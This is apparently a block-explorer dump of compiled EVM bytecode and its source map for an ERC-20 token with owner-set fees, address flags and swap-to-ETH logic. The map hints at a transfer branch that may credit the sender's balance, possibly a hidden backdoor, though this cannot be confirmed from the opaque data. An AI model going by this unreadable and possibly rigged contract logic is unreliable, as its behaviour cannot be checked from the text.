54611cfa906001600160a01b0316836120b5565b600083118015611d0a5750600087115b15611d1957611d1987846120f0565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316611d476001546121c5565b6001600160a01b0316141592915050565b6001600160a01b0383166000908152600c6020526040812054819060ff1615611d9c57611d956064611c2560175486611e5e90919063ffffffff16565b9050611dda565b6001600160a01b0384166000908152600c602052604090205460ff1615611dda57611dd76064611c2560185486611e5e90919063ffffffff16565b90505b8015611e545730600090815260066020526040902054611dfa9082611530565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e4b9085815260200190565b60405180910390a35b611ac48382611acd565b600082600003611e7057506000610ba9565b6000611e7c8385612524565b905082611e898583612543565b14610c135760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c44565b6000610c1383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121cd565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611f5757611f576124b0565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611fb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd49190612493565b81600181518110611fe757611fe76124b0565b6001600160a01b039283166020918202929092010152601e5461200d913091168461158f565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906120469085906000908690309042906004016125a9565b600060405180830381600087803b15801561206057600080fd5b505af1158015612074573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516120a99291906125e5565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156120eb573d6000803e3d6000fd5b505050565b601e546121089030906001600160a01b03168461158f565b601e546001600160a01b031663f305d7198230856000806121316000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612199573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906121be9190612606565b5050505050565b600081610ba9565b600081836121ee5760405162461bcd60e51b8152600401610c4491906121fb565b506000611ac48486612543565b600060208083528351808285015260005b818110156122285785810183015185820160400152820161220c565b8181111561223a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461226557600080fd5b50565b6000806040838503121561227b57600080fd5b823561228681612250565b946020939093013593505050565b6000806000606084860312156122a957600080fd5b83356122b481612250565b925060208401356122c481612250565b929592945050506040919091013590565b803580151581146122e557600080fd5b919050565b6000602082840312156122fc57600080fd5b610c13826122d5565b60006020828403121561231757600080fd5b8135610c1381612250565b60006020828403121561233457600080fd5b5035919050565b60008060006060848603121561235057600080fd5b505081359360208301359350604090920135919050565b60008060006040848603121561237c57600080fd5b833567ffffffffffffffff8082111561239457600080fd5b818601915086601f8301126123a857600080fd5b8135818111156123b757600080fd5b8760208260051b85010111156123cc57600080fd5b6020928301955093506123e291860190506122d5565b90509250925092565b600080604083850312156123fe57600080fd5b823561240981612250565b9150602083013561241981612250565b809150509250929050565b600181811c9082168061243857607f821691505b60208210810361245857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156124a557600080fd5b8151610c1381612250565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016124ee576124ee6124c6565b5060010190565b60008219821115612508576125086124c6565b500190565b60008282101561251f5761251f6124c6565b500390565b600081600019048311821515161561253e5761253e6124c6565b500290565b60008261256057634e487b7160e01b600052601260045260246000fd5b500490565b600081518084526020808501945080840160005b8381101561259e5781516001600160a01b031687529582019590820190600101612579565b509495945050505050565b85815284602082015260a0604082015260006125c860a0830186612565565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006125fe6040830184612565565b949350505050565b60008060006060848603121561261b57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205d77c0cb388fe9482daf5baf472c8955f9bc5052c47f896821317fdc0550460164736f6c634300080d0033
Deployed Bytecode Sourcemap
4300:14991:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8186:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9479:161;;;;;;;;;;-1:-1:-1;9479:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;9479:161:0;1072:187:1;4554:40:0;;;;;;;;;;-1:-1:-1;4554:40:0;;;;-1:-1:-1;;;;;4554:40:0;;;;;;-1:-1:-1;;;;;1444:32:1;;;1426:51;;1414:2;1399:18;4554:40:0;1264:219:1;5903:41:0;;;;;;;;;;-1:-1:-1;5903:41:0;;;;-1:-1:-1;;;;;5903:41:0;;;8463:100;;;;;;;;;;-1:-1:-1;8543:12:0;;8463:100;;;1868:25:1;;;1856:2;1841:18;8463:100:0;1722:177:1;14217:313:0;;;;;;;;;;-1:-1:-1;14217:313:0;;;;;:::i;:::-;;:::i;11698:113::-;;;;;;;;;;-1:-1:-1;11698:113:0;;;;;:::i;:::-;;:::i;:::-;;4601:81;;;;;;;;;;;;;;;12875:128;;;;;;;;;;;;;:::i;12421:129::-;;;;;;;;;;-1:-1:-1;12421:129:0;;;;;:::i;:::-;;:::i;8372:83::-;;;;;;;;;;-1:-1:-1;8438:9:0;;8372:83;;8438:9;;;;3317:36:1;;3305:2;3290:18;8372:83:0;3175:184:1;12287:126:0;;;;;;;;;;-1:-1:-1;12287:126:0;;;;;:::i;:::-;;:::i;8848:218::-;;;;;;;;;;-1:-1:-1;8848:218:0;;;;;:::i;:::-;;:::i;5081:38::-;;;;;;;;;;-1:-1:-1;5081:38:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12155:124;;;;;;;;;;-1:-1:-1;12155:124:0;;;;;:::i;:::-;;:::i;5033:41::-;;;;;;;;;;-1:-1:-1;5033:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6018:40;;;;;;;;;;-1:-1:-1;6018:40:0;;;;-1:-1:-1;;;6018:40:0;;;;;;5381:34;;;;;;;;;;;;;;;;13149:731;;;;;;;;;;-1:-1:-1;13149:731:0;;;;;:::i;:::-;;:::i;10219:331::-;;;;;;;;;;-1:-1:-1;10219:331:0;;;;;:::i;:::-;;:::i;5422:34::-;;;;;;;;;;;;;;;;11819:218;;;;;;;;;;-1:-1:-1;11819:218:0;;;;;:::i;:::-;;:::i;13888:111::-;;;;;;;;;;-1:-1:-1;13888:111:0;;;;;:::i;:::-;;:::i;8571:118::-;;;;;;;;;;-1:-1:-1;8571:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;8664:17:0;8637:7;8664:17;;;:8;:17;;;;;;;8571:118;4980:46;;;;;;;;;;-1:-1:-1;4980:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9993:218;;;;;;;;;;-1:-1:-1;9993:218:0;;;;;:::i;:::-;;:::i;5705:57::-;;;;;;;;;;;;;;;;5770:55;;;;;;;;;;;;;;;;5544:37;;;;;;;;;;;;;;;;5255:36;;;;;;;;;;;;;;;;4925:48;;;;;;;;;;-1:-1:-1;4925:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3007:79;;;;;;;;;;-1:-1:-1;3045:7:0;3072:6;-1:-1:-1;;;;;3072:6:0;3007:79;;10558:338;;;;;;;;;;-1:-1:-1;10558:338:0;;;;;:::i;:::-;;:::i;8277:87::-;;;;;;;;;;;;;:::i;2757:34::-;;;;;;;;;;;;;;;;4513;;;;;;;;;;-1:-1:-1;4513:34:0;;;;;;;-1:-1:-1;;;;;4513:34:0;;;9351:120;;;;;;;;;;-1:-1:-1;9440:23:0;;9351:120;;5588:44;;;;;;;;;;;;;;;;9074:269;;;;;;;;;;-1:-1:-1;9074:269:0;;;;;:::i;:::-;;:::i;12738:125::-;;;;;;;;;;-1:-1:-1;12738:125:0;;;;;:::i;:::-;;:::i;5463:29::-;;;;;;;;;;;;;;;;14042:167;;;;;;;;;;-1:-1:-1;14042:167:0;;;;;:::i;:::-;;:::i;11332:358::-;;;;;;;;;;-1:-1:-1;11332:358:0;;;;;:::i;:::-;;:::i;5212:30::-;;;;;;;;;;;;;;;;12558:172;;;;;;;;;;-1:-1:-1;12558:172:0;;;;;:::i;:::-;;:::i;5170:35::-;;;;;;;;;;;;;;;;5951:26;;;;;;;;;;-1:-1:-1;5951:26:0;;;;-1:-1:-1;;;;;5951:26:0;;;5298:36;;;;;;;;;;;;;;;;4866:52;;;;;;;;;;-1:-1:-1;4866:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5341:31;;;;;;;;;;;;;;;;6065:45;;;;;;;;;;-1:-1:-1;6065:45:0;;;;-1:-1:-1;;;6065:45:0;;;;;;5128:35;;;;;;;;;;;;;;;;8697:143;;;;;;;;;;-1:-1:-1;8697:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8805:18:0;;;8778:7;8805:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8697:143;5501:36;;;;;;;;;;;;;;;;12045:102;;;;;;;;;;-1:-1:-1;12045:102:0;;;;;:::i;:::-;;:::i;4809:50::-;;;;;;;;;;-1:-1:-1;4809:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3221:157;;;;;;;;;;-1:-1:-1;3221:157:0;;;;;:::i;:::-;;:::i;6117:35::-;;;;;;;;;;-1:-1:-1;6117:35:0;;;;-1:-1:-1;;;6117:35:0;;;;;;8186:83;8223:13;8256:5;8249:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8186:83;:::o;9479:161::-;9554:4;9571:39;221:10;9594:7;9603:6;9571:8;:39::i;:::-;-1:-1:-1;9628:4:0;9479:161;;;;;:::o;14217:313::-;14315:4;14332:36;14342:6;14350:9;14361:6;14332:9;:36::i;:::-;-1:-1:-1;14379:121:0;14388:6;221:10;14410:89;14448:6;14410:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14410:19:0;;;;;;:11;:19;;;;;;;;221:10;14410:33;;;;;;;;;;:37;:89::i;:::-;14379:8;:121::i;:::-;-1:-1:-1;14518:4:0;14217:313;;;;;;:::o;11698:113::-;3134:6;;-1:-1:-1;;;;;3134:6:0;221:10;3134:22;3126:67;;;;-1:-1:-1;;;3126:67:0;;;;;;;:::i;:::-;;;;;;;;;11776:16:::1;:27:::0;;;::::1;;-1:-1:-1::0;;;11776:27:0::1;-1:-1:-1::0;;;;11776:27:0;;::::1;::::0;;;::::1;::::0;;11698:113::o;12875:128::-;12982:11;-1:-1:-1;;;;;8664:17:0;12928:7;8664:17;;;:8;:17;;;;;;12955:12;;:40;;:16;:40::i;:::-;12948:47;;12875:128;:::o;12421:129::-;3134:6;;-1:-1:-1;;;;;3134:6:0;221:10;3134:22;3126:67;;;;-1:-1:-1;;;3126:67:0;;;;;;;:::i;:::-;12503:17:::1;:39:::0;;-1:-1:-1;;;;;;12503:39:0::1;-1:-1:-1::0;;;;;12503:39:0;;;::::1;::::0;;;::::1;::::0;;12421:129::o;12287:126::-;3134:6;;-1:-1:-1;;;;;3134:6:0;221:10;3134:22;3126:67;;;;-1:-1:-1;;;3126:67:0;;;;;;;:::i;:::-;12372:11:::1;:33:::0;;-1:-1:-1;;;;;12372:33:0;;::::1;;;-1:-1:-1::0;;;;;;12372:33:0;;::::1;::::0;;;::::1;::::0;;12287:126::o;8848:218::-;221:10;8936:4;8985:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8985:34:0;;;;;;;;;;8936:4;;8953:83;;8976:7;;8985:50;;9024:10;8985:38;:50::i;12155:124::-;3134:6;;-1:-1:-1;;;;;3134:6:0;221:10;3134:22;3126:67;;;;-1:-1:-1;;;3126:67:0;;;;;;;:::i;:::-;12237:23:::1;:34:::0;12155:124::o;13149:731::-;13229:22;3134:6;;-1:-1:-1;;;;;3134:6:0;221:10;3134:22;3126:67;;;;-1:-1:-1;;;3126:67:0;;;;;;;:::i;:::-;13266:35:::1;13323:16;13266:74;;13389:16;-1:-1:-1::0;;;;;13389:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13371:53:0::1;;13433:4;13440:16;-1:-1:-1::0;;;;;13440:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13371:93;::::0;-1:-1:-1;;;;;;13371:93:0::1;::::0;;;;;;-1:-1:-1;;;;;6189:15:1;;;13371:93:0::1;::::0;::::1;6171:34:1::0;6241:15;;6221:18;;;6214:43;6106:18;;13371:93:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13354:110:::0;-1:-1:-1;;;;;;13480:28:0;::::1;13477:200;;13569:16;-1:-1:-1::0;;;;;13569:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13551:74:0::1;;13634:4;13641:16;-1:-1:-1::0;;;;;13641:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13551:114;::::0;-1:-1:-1;;;;;;13551:114:0::1;::::0;;;;;;-1:-1:-1;;;;;6189:15:1;;;13551:114:0::1;::::0;::::1;6171:34:1::0;6241:15;;6221:18;;;6214:43;6106:18;;13551:114:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13534:131;;13477:200;13689:11;:28:::0;;-1:-1:-1;;;;;;13689:28:0;;::::1;-1:-1:-1::0;;;;;13689:28:0;;::::1;::::0;;::::1;::::0;;13728:15:::1;:34:::0;;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;13776:41:0;;;:19:::1;:41;::::0;;;;;;;:48;;-1:-1:-1;;13776:48:0;;::::1;-1:-1:-1::0;13776:48:0;;::::1;::::0;;;13852:11;;;;::::1;13835:30:::0;;:8:::1;:30:::0;;;;;:37;;;;::::1;::::0;;::::1;::::0;;13689:28;13703:14;-1:-1:-1;13149:731:0:o;10219:331::-;3134:6;;-1:-1:-1;;;;;3134:6:0;221:10;3134:22;3126:67;;;;-1:-1:-1;;;3126:67:0;;;;;;;:::i;:::-;10340:16:::1;:34:::0;;;10385:16:::1;:34:::0;;;10430:11:::1;:24:::0;;;10487:55:::1;10444:10:::0;10487:38:::1;10359:15:::0;10404;10487:20:::1;:38::i;:::-;:42:::0;::::1;:55::i;:::-;10467:17;:75:::0;-1:-1:-1;;;10219:331:0:o;11819:218::-;3134:6;;-1:-1:-1;;;;;3134:6:0;221:10;3134:22;3126:67;;;;-1:-1:-1;;;3126:67:0;;;;;;;:::i;:::-;11925:9:::1;11921:109;11940:17:::0;;::::1;11921:109;;;12012:6;11979:19;:30;11999:6;;12006:1;11999:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11979:30:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;11979:30:0;:39;;-1:-1:-1;;11979:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11959:3;::::1;::::0;::::1;:::i;:::-;;;;11921:109;;;;11819:218:::0;;;:::o;13888:111::-;13963:10;13951:23;;;;:8;:23;;;;;;;;13945:52;;;-1:-1:-1;;;;;13975:13:0;;;;;;:8;:13;;;;;:22;;;13945:52;13888:111;;:::o;9993:218::-;3134:6;;-1:-1:-1;;;;;3134:6:0;221:10;3134:22;3126:67;;;;-1:-1:-1;;;3126:67:0;;;;;;;:::i;:::-;10097:9:::1;10093:111;10112:18:::0;;::::1;10093:111;;;10184:8;10152:17;:29;10170:7;;10178:1;10170:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10152:29:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10152:29:0;:40;;-1:-1:-1;;10152:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10132:3;::::1;::::0;::::1;:::i;:::-;;;;10093:111;;10558:338:::0;3134:6;;-1:-1:-1;;;;;3134:6:0;221:10;3134:22;3126:67;;;;-1:-1:-1;;;3126:67:0;;;;;;;:::i;:::-;10679:17:::1;:35:::0;;;10725:17:::1;:35:::0;;;10771:12:::1;:25:::0;;;10830:58:::1;10786:10:::0;10830:40:::1;10699:15:::0;10745;10830:21:::1;:40::i;:58::-;10809:18;:79:::0;-1:-1:-1;;;10558:338:0:o;8277:87::-;8316:13;8349:7;8342:14;;;;;:::i;9074:269::-;9167:4;9184:129;221:10;9207:7;9216:96;9255:15;9216:96;;;;;;;;;;;;;;;;;221:10;9216:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9216:34:0;;;;;;;;;;;;:38;:96::i;12738:125::-;3134:6;;-1:-1:-1;;;;;3134:6:0;221:10;3134:22;3126:67;;;;-1:-1:-1;;;3126:67:0;;;;;;;:::i;:::-;12819:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;12819:36:0::1;-1:-1:-1::0;;;;12819:36:0;;::::1;::::0;;;::::1;::::0;;12738:125::o;14042:167::-;14120:4;14137:42;221:10;14161:9;14172:6;14137:9;:42::i;11332:358::-;3134:6;;-1:-1:-1;;;;;3134:6:0;221:10;3134:22;3126:67;;;;-1:-1:-1;;;3126:67:0;;;;;;;:::i;:::-;11473:15:::1;:35:::0;;;11519:15:::1;:35:::0;;;11565:10:::1;:25:::0;;;11630:52:::1;11578:12:::0;11630:36:::1;11491:17:::0;11537;11630:19:::1;:36::i;:52::-;11603:24;:79:::0;-1:-1:-1;;;11332:358:0:o;12558:172::-;3134:6;;-1:-1:-1;;;;;3134:6:0;221:10;3134:22;3126:67;;;;-1:-1:-1;;;3126:67:0;;;;;;;:::i;:::-;12636:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;12636:32:0::1;-1:-1:-1::0;;;;12636:32:0;;::::1;;::::0;;12684:38:::1;::::0;::::1;::::0;::::1;::::0;12660:8;1237:14:1;1230:22;1212:41;;1200:2;1185:18;;1072:187;12684:38:0::1;;;;;;;;12558:172:::0;:::o;12045:102::-;3134:6;;-1:-1:-1;;;;;3134:6:0;221:10;3134:22;3126:67;;;;-1:-1:-1;;;3126:67:0;;;;;;;:::i;:::-;12117:10:::1;:22:::0;12045:102::o;3221:157::-;3134:6;;-1:-1:-1;;;;;3134:6:0;221:10;3134:22;3126:67;;;;-1:-1:-1;;;3126:67:0;;;;;;;:::i;:::-;3295:6:::1;:19:::0;;-1:-1:-1;;;;;;3295:19:0::1;-1:-1:-1::0;;;;;3295:19:0;::::1;::::0;;::::1;::::0;;3330:40:::1;::::0;3295:19;;;;3330:40:::1;::::0;3295:6;3330:40:::1;3221:157:::0;:::o;1072:181::-;1130:7;;1162:5;1166:1;1162;:5;:::i;:::-;1150:17;;1191:1;1186;:6;;1178:46;;;;-1:-1:-1;;;1178:46:0;;7007:2:1;1178:46:0;;;6989:21:1;7046:2;7026:18;;;7019:30;7085:29;7065:18;;;7058:57;7132:18;;1178:46:0;6805:351:1;9648:337:0;-1:-1:-1;;;;;9741:19:0;;9733:68;;;;-1:-1:-1;;;9733:68:0;;7363:2:1;9733:68:0;;;7345:21:1;7402:2;7382:18;;;7375:30;7441:34;7421:18;;;7414:62;-1:-1:-1;;;7492:18:1;;;7485:34;7536:19;;9733:68:0;7161:400:1;9733:68:0;-1:-1:-1;;;;;9820:21:0;;9812:68;;;;-1:-1:-1;;;9812:68:0;;7768:2:1;9812:68:0;;;7750:21:1;7807:2;7787:18;;;7780:30;7846:34;7826:18;;;7819:62;-1:-1:-1;;;7897:18:1;;;7890:32;7939:19;;9812:68:0;7566:398:1;9812:68:0;-1:-1:-1;;;;;9893:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9945:32;;1868:25:1;;;9945:32:0;;1841:18:1;9945:32:0;;;;;;;9648:337;;;:::o;14538:1829::-;14625:4;-1:-1:-1;;;;;14652:20:0;;14644:70;;;;-1:-1:-1;;;14644:70:0;;8171:2:1;14644:70:0;;;8153:21:1;8210:2;8190:18;;;8183:30;8249:34;8229:18;;;8222:62;-1:-1:-1;;;8300:18:1;;;8293:35;8345:19;;14644:70:0;7969:401:1;14644:70:0;-1:-1:-1;;;;;14733:23:0;;14725:71;;;;-1:-1:-1;;;14725:71:0;;8577:2:1;14725:71:0;;;8559:21:1;8616:2;8596:18;;;8589:30;8655:34;8635:18;;;8628:62;-1:-1:-1;;;8706:18:1;;;8699:33;8749:19;;14725:71:0;8375:399:1;14725:71:0;14820:16;;-1:-1:-1;;;14820:16:0;;;;14817:1543;;;14870:41;14885:6;14893:9;14904:6;14870:14;:41::i;:::-;14863:48;;;;14817:1543;-1:-1:-1;;;;;14967:23:0;;;;;;:15;:23;;;;;;;;14966:24;:55;;;;-1:-1:-1;;;;;;14995:26:0;;;;;;:15;:26;;;;;;;;14994:27;14966:55;14963:170;;;15060:12;;15050:6;:22;;15042:75;;;;-1:-1:-1;;;15042:75:0;;8981:2:1;15042:75:0;;;8963:21:1;9020:2;9000:18;;;8993:30;9059:34;9039:18;;;9032:62;-1:-1:-1;;;9110:18:1;;;9103:38;9158:19;;15042:75:0;8779:404:1;15042:75:0;15196:4;15147:28;8664:17;;;:8;:17;;;;;;15272:23;;15248:47;;;;;;;15314:44;;-1:-1:-1;15342:16:0;;-1:-1:-1;;;15342:16:0;;;;15341:17;15314:44;:65;;;;-1:-1:-1;;;;;;15363:16:0;;;;;;:8;:16;;;;;;;;15362:17;15314:65;:90;;;;-1:-1:-1;15383:21:0;;-1:-1:-1;;;15383:21:0;;;;15314:90;15310:297;;;15442:25;;-1:-1:-1;;;15442:25:0;;;;15439:97;;;15513:23;;15490:46;;15439:97;15555:36;15570:20;15555:14;:36::i;:::-;15610:10;15613:6;15610:2;:10::i;:::-;15607:96;;;-1:-1:-1;;;;;15659:16:0;;;;;;:8;:16;;;;;;:28;;15680:6;15659:20;:28::i;:::-;-1:-1:-1;;;;;15640:16:0;;;;;;:8;:16;;;;;:47;15607:96;-1:-1:-1;;;;;15726:25:0;;15703:19;15726:25;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;15755:28:0;;;;;;:17;:28;;;;;;;;15726:57;15725:148;;15839:34;15847:6;15855:9;15866:6;15839:7;:34::i;:::-;15725:148;;;15830:6;15725:148;15905:16;;15703:170;;-1:-1:-1;;;;15905:16:0;;;;:51;;;;-1:-1:-1;;;;;;15926:30:0;;;;;;:19;:30;;;;;;;;15925:31;15905:51;15902:133;;;16024:10;;15983:37;16008:11;15983:20;15993:9;-1:-1:-1;;;;;8664:17:0;8637:7;8664:17;;;:8;:17;;;;;;;8571:118;15983:37;:51;;15975:60;;;;;;-1:-1:-1;;;;;16099:15:0;;;;;;:5;:15;;;;;;;;16096:91;;;16155:22;;;;-1:-1:-1;;;;;16224:19:0;;;;;;:8;:19;;;;;;:36;;16248:11;16224:23;:36::i;:::-;-1:-1:-1;;;;;16202:19:0;;;;;;;:8;:19;;;;;;;:58;;;;16282:40;;;;;;;;;;16310:11;1868:25:1;;1856:2;1841:18;;1722:177;16282:40:0;;;;;;;;16344:4;16337:11;;;;;;;1407:192;1493:7;1529:12;1521:6;;;;1513:29;;;;-1:-1:-1;;;1513:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1553:9:0;1565:5;1569:1;1565;:5;:::i;:::-;1553:17;1407:192;-1:-1:-1;;;;;1407:192:0:o;1263:136::-;1321:7;1348:43;1352:1;1355;1348:43;;;;;;;;;;;;;;;;;:3;:43::i;16379:326::-;16508:52;;;;;;;;;;;-1:-1:-1;;;16508:52:0;;;;;;;;-1:-1:-1;;;;;16508:16:0;;16472:4;16508:16;;;:8;:16;;;;;;;:52;;16529:6;;16508:20;:52::i;:::-;-1:-1:-1;;;;;16489:16:0;;;;;;;:8;:16;;;;;;:71;;;;16593:19;;;;;;;:31;;16617:6;16593:23;:31::i;:::-;-1:-1:-1;;;;;16571:19:0;;;;;;;:8;:19;;;;;;;:53;;;;16640:35;;;;;;;;;;16668:6;1868:25:1;;1856:2;1841:18;;1722:177;16640:35:0;;;;;;;;-1:-1:-1;16693:4:0;16379:326;;;;;:::o;16713:1037::-;6575:16;:23;;-1:-1:-1;;;;6575:23:0;-1:-1:-1;;;6575:23:0;;;16850:24:::1;::::0;6575:16;16829:15;6575:23;;16817:65:::1;::::0;16880:1:::1;::::0;16817:58:::1;::::0;;;:7;;:11:::1;:28::i;:::-;:32:::0;::::1;:58::i;:65::-;16795:87:::0;-1:-1:-1;16893:21:0::1;16917:24;:7:::0;16795:87;16917:11:::1;:24::i;:::-;16893:48;;16954:31;16971:13;16954:16;:31::i;:::-;17106:15;::::0;17021:21:::1;::::0;16996:22:::1;::::0;17077:52:::1;::::0;17106:22:::1;::::0;17126:1:::1;17106:19;:22::i;:::-;17077:24;::::0;;:28:::1;:52::i;:::-;17055:74;;17150:26;17179:59;17236:1;17179:52;17219:11;17179:35;17198:15;;17179:14;:18;;:35;;;;:::i;:59::-;17150:88;;17249:21;17273:47;17308:11;17273:30;17292:10;;17273:14;:18;;:30;;;;:::i;:47::-;17249:71:::0;-1:-1:-1;17331:26:0::1;17360:57;17249:71:::0;17360:38:::1;:14:::0;17379:18;17360::::1;:38::i;:::-;:42:::0;::::1;:57::i;:::-;17331:86:::0;-1:-1:-1;17433:22:0;;17430:93:::1;;17491:11;::::0;17470:53:::1;::::0;17491:11:::1;::::0;::::1;-1:-1:-1::0;;;;;17491:11:0::1;17504:18:::0;17470:20:::1;:53::i;:::-;17539:17:::0;;17536:89:::1;;17592:17;::::0;17571:54:::1;::::0;-1:-1:-1;;;;;17592:17:0::1;17611:13:::0;17571:20:::1;:54::i;:::-;17662:1;17641:18;:22;:41;;;;;17681:1;17667:11;:15;17641:41;17638:104;;;17697:45;17710:11;17723:18;17697:12;:45::i;:::-;-1:-1:-1::0;;6621:16:0;:24;;-1:-1:-1;;;;6621:24:0;;;-1:-1:-1;;;;;;16713:1037:0:o;11199:125::-;11251:4;11306:9;-1:-1:-1;;;;;11285:30:0;:17;11292:9;;11285:6;:17::i;:::-;-1:-1:-1;;;;;11285:30:0;;11283:33;;11199:125;-1:-1:-1;;11199:125:0:o;18678:604::-;-1:-1:-1;;;;;18839:16:0;;18764:7;18839:16;;;:8;:16;;;;;;18764:7;;18839:16;;18836:215;;;18884:38;18918:3;18884:29;18895:17;;18884:6;:10;;:29;;;;:::i;:38::-;18872:50;;18836:215;;;-1:-1:-1;;;;;18952:19:0;;;;;;:8;:19;;;;;;;;18949:102;;;19000:39;19035:3;19000:30;19011:18;;19000:6;:10;;:30;;;;:::i;:39::-;18988:51;;18949:102;19066:13;;19063:171;;19139:4;19122:23;;;;:8;:23;;;;;;:38;;19150:9;19122:27;:38::i;:::-;19113:4;19096:23;;;;:8;:23;;;;;;;:64;;;;19180:42;;-1:-1:-1;;;;;19180:42:0;;;;;;;19212:9;1868:25:1;;1856:2;1841:18;;1722:177;19180:42:0;;;;;;;;19063:171;19253:21;:6;19264:9;19253:10;:21::i;1605:248::-;1663:7;1687:1;1692;1687:6;1683:47;;-1:-1:-1;1717:1:0;1710:8;;1683:47;1740:9;1752:5;1756:1;1752;:5;:::i;:::-;1740:17;-1:-1:-1;1785:1:0;1776:5;1780:1;1740:17;1776:5;:::i;:::-;:10;1768:56;;;;-1:-1:-1;;;1768:56:0;;9915:2:1;1768:56:0;;;9897:21:1;9954:2;9934:18;;;9927:30;9993:34;9973:18;;;9966:62;-1:-1:-1;;;10044:18:1;;;10037:31;10085:19;;1768:56:0;9713:397:1;2047:132:0;2105:7;2132:39;2136:1;2139;2132:39;;;;;;;;;;;;;;;;;:3;:39::i;17764:537::-;17854:16;;;17868:1;17854:16;;;;;;;;17830:21;;17854:16;;;;;;;;;;-1:-1:-1;17854:16:0;17830:40;;17899:4;17881;17886:1;17881:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17881:23:0;;;:7;;;;;;;;;;:23;;;;17925:15;;:22;;;-1:-1:-1;;;17925:22:0;;;;:15;;;;